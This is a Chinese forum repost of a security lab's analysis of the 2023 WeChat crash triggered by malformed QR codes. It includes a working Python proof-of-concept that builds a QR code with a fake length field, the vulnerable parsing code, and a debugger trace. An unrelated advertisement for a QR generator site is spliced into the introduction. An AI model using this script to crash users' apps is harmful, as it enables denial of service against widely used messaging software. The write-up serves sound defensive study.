外链之家

标题: 明白:WECHAT二维码闪退分析 [打印本页]

作者: liukai    时间: 6 小时前
标题: 明白:WECHAT二维码闪退分析

  作者:hu1y40(洞源实验室)


  腾讯旗下的微信是一款社交通讯应用程序,由中国互联网巨头腾讯公司开发和运营。作为一款领先的社交应用,微信在全球范围内拥有大量的注册用户,且用户的活跃度极高。在微信中,用户可以通过扫描二维码来进行好友添加、进入公众号页面、加入群聊、进入小程序等。二维码生成器http://www.erweicaihong.cn/二维彩虹提供专业的二维码在线生成和美化。在线生成器可把文本、电子邮件、名片、网址、微信收款等信息一键制作自定义动态二维码图片,不仅能够随时让用户更改二维码背后的信息而无需更改二维码,而且能够让用户追踪最有价值的市场数据!

  2023 年 4 月 23 日,用户在扫描或浏览某些畸形二维码时,会导致微信出现闪退等异常情况。

  据了解,这种异常情况主要是由于畸形二维码造成的越界读取产生。

  2023 年 4 月 23 日晚上,部分微信用户反馈点开二维码图片会造成闪退。

  2023 年 4 月 24 日凌晨三点,GZTime 发出了制造畸形二维码的 python 代码。

  2023 年 4 月 24 日下午两点,Konano 发现微信开源的二维码识别引擎中的问题代码。

  至文章编写的 2023 年 4 月 26 日为止,iOS 端微信尚未更新修复此 bug。

  ?

  这里会介绍二维码创建的部分步骤,以用来分析后续的畸形二维码。

  QR 码将一串文本编码成二进制位(1 和 0)。QR 标准有四种文本编码模式:数字、字母数字混合、字节和汉字。每种模式将文本转换为不同的二进制位字符串,但每种编码方法都使用不同的方法将数据编码为最短的二进制位字符串。

  二维码的四个纠错级别是:L、M、Q、H。

  L 表示最低纠错级别,能够修复约 7%的数据码字错误;

  M 表示中等纠错级别,能够修复约 15%的数据码字错误;

  Q 表示较高纠错级别,能够修复约 25%的数据码字错误;

  H 表示最高纠错级别,能够修复约 30%的数据码字错误。

  二维码的版本指的是二维码矩阵中每一行和每一列的模块数,例如版本 1 的二维码矩阵大小是 21x21(包括两个空白区域),版本 2 的大小是 25x25,以此类推。版本越高,可以存储的信息也就越多。每个版本都有一个版本信息指示符来标识它的版本。(最多四十个版本)

  Numeric Mode Encoding

  Alphanumeric Mode Encoding

  Byte Mode Encoding

  Kanji Mode Encoding

  后续字符有多少个,根据版本不同,这个指示器所占的位数不同。

  添加 1~4 个 0(bit)使得达到所要求的位数;添加了终止符后如果 bit 数不是 8 的倍数则继续添加 0 使得为 8 的倍数;如果最终的 bit 串仍然太短,则添加填充字符 11101100 00010001。

  importqrcodefromqrcode.util import*defhack_put(self, num, len):ifnum==?0:num=?2?# faker length of hack_datafori inrange(len):self.put_bit(((num >>?(len?-?i -?1)) &?1)==?1)qrcode.util.BitBuffer.put=?hack_putqr=?qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_Q, mask_pattern=0)data=?"tested by InsBug".encode("utf-8")data +=?b' '?*?(22-len(data)-3)# 22 为 2-Q 的 Total Number of Data Codewords for this Version and EC Level,-3 是由于模式和长度指示器共占了 24 位,正好为 3Byte。user_data=QRData(data, MODE_8BIT_BYTE)hack_data=QRData(b'', MODE_8BIT_BYTE)qr.add_data(user_data)qr.add_data(hack_data)img=?qr.make_image()img.save("<filename>.png")

  该二维码通过上述代码生成。

  ?

  QRazyBox 的解析结果,发现 hack_data 被解释成了一个 Byte Mode 指示器,并且长度为代码中设置的 faker length,这时候如果再往后续读取数据便开始越界解析。

  大部分用户反馈的微信点开二维码图片闪退的问题,在企业微信 41.03.6008 版本中同样存在。

  由于根源问题是 wechat_qrcode 这个开源二维码识别引擎出现的问题。

  int?nBytes=?count;BitSource&?bits(*bits_);// Don't crash trying to read more bits than we have available.int?available=?bits.available();// try to repair count data if count data is invalidif(count *?8?>?available)?{count=?(available +?7?/?8);}ArrayRef<char>?bytes_(count);char*?readBytes=?&(*bytes_)[0];

  以上为导致出现问题的解析代码。

  (代码文件链接https://github.com/opencv/opencv_contrib/blob/960b3f685f39c0602b8a0dd35973a82ee72b7e3c/modules/wechat_qrcode/src/zxing/qrcode/decoder/decoded_bit_stream_parser.cpp#L202-L203)

  最终在填入一个有长度的空比特的时候,nByte 不为 0,available 为 0,执行到 199 行 count 被更新为 0。

  在执行到 203 行的时候,由于 count 为 0,声明的是一个空数组,后续对其访问则是非法访问。其也对应了最后出错的 EXCEPTION_ACCESS_VIOLATION。由于这一份引擎在腾讯系软件中广泛使用,所以除了微信,在企业微信、QQ 中也同样会因为该二维码造成闪退。

  在打开图片的时候,会出现 KMEAS_MS_FACTOR 和 KMEANS_COUNT_FACTOR,查阅资源发现 KMEANS 是一个可应用于图像分割的算法。猜测其打开二维码的时候,二维码会被进行处理,随后识别数据读入内存中。

  这里进行 memcpy 函数,其函数原型如下:

  void?*memcpy(void?*dst,?void?*src,?unsigned?int?n);

  所以栈顶的由上往下的参数分别是:

  dst:0x300422BB

  src:0x00000000

  n:2

  然后会发现,在 EIP 所指处指令为 mov al,byte ptr ds:[esi],操作是从 esi 指向的内存单元读取一个字节,放入 al 寄存器中,而此时 esi 为 0x00000000,所以就是从 0x00000000 处读取 1 个字节数据到之前已写入内存的“tested by InsBug?”后。这里便会导致非法访问,产生 crash。

  至文章编写的 2023 年 4 月 26 日为止,微信的官方微博与官方网站尚未对此 bug 进行回应。

  通过此次闪退事件,我们能看出外部的输入是不可信的,正常生成的输入在程序处理时可能不会产生问题,能够对程序的正常运行产生影响的是精心构造的恶意输入或畸形输入。要避免这种情况的发生,除了建立完善的测试体系之外,代码提交前的代码审计工作也十分重要。

  ?

  洞源实验室

  安全工程师:hu1y40

  2023 年 4 月 26 日晚




欢迎光临 外链之家 (http://bbs.tiquanlian.com/) Powered by Discuz! X3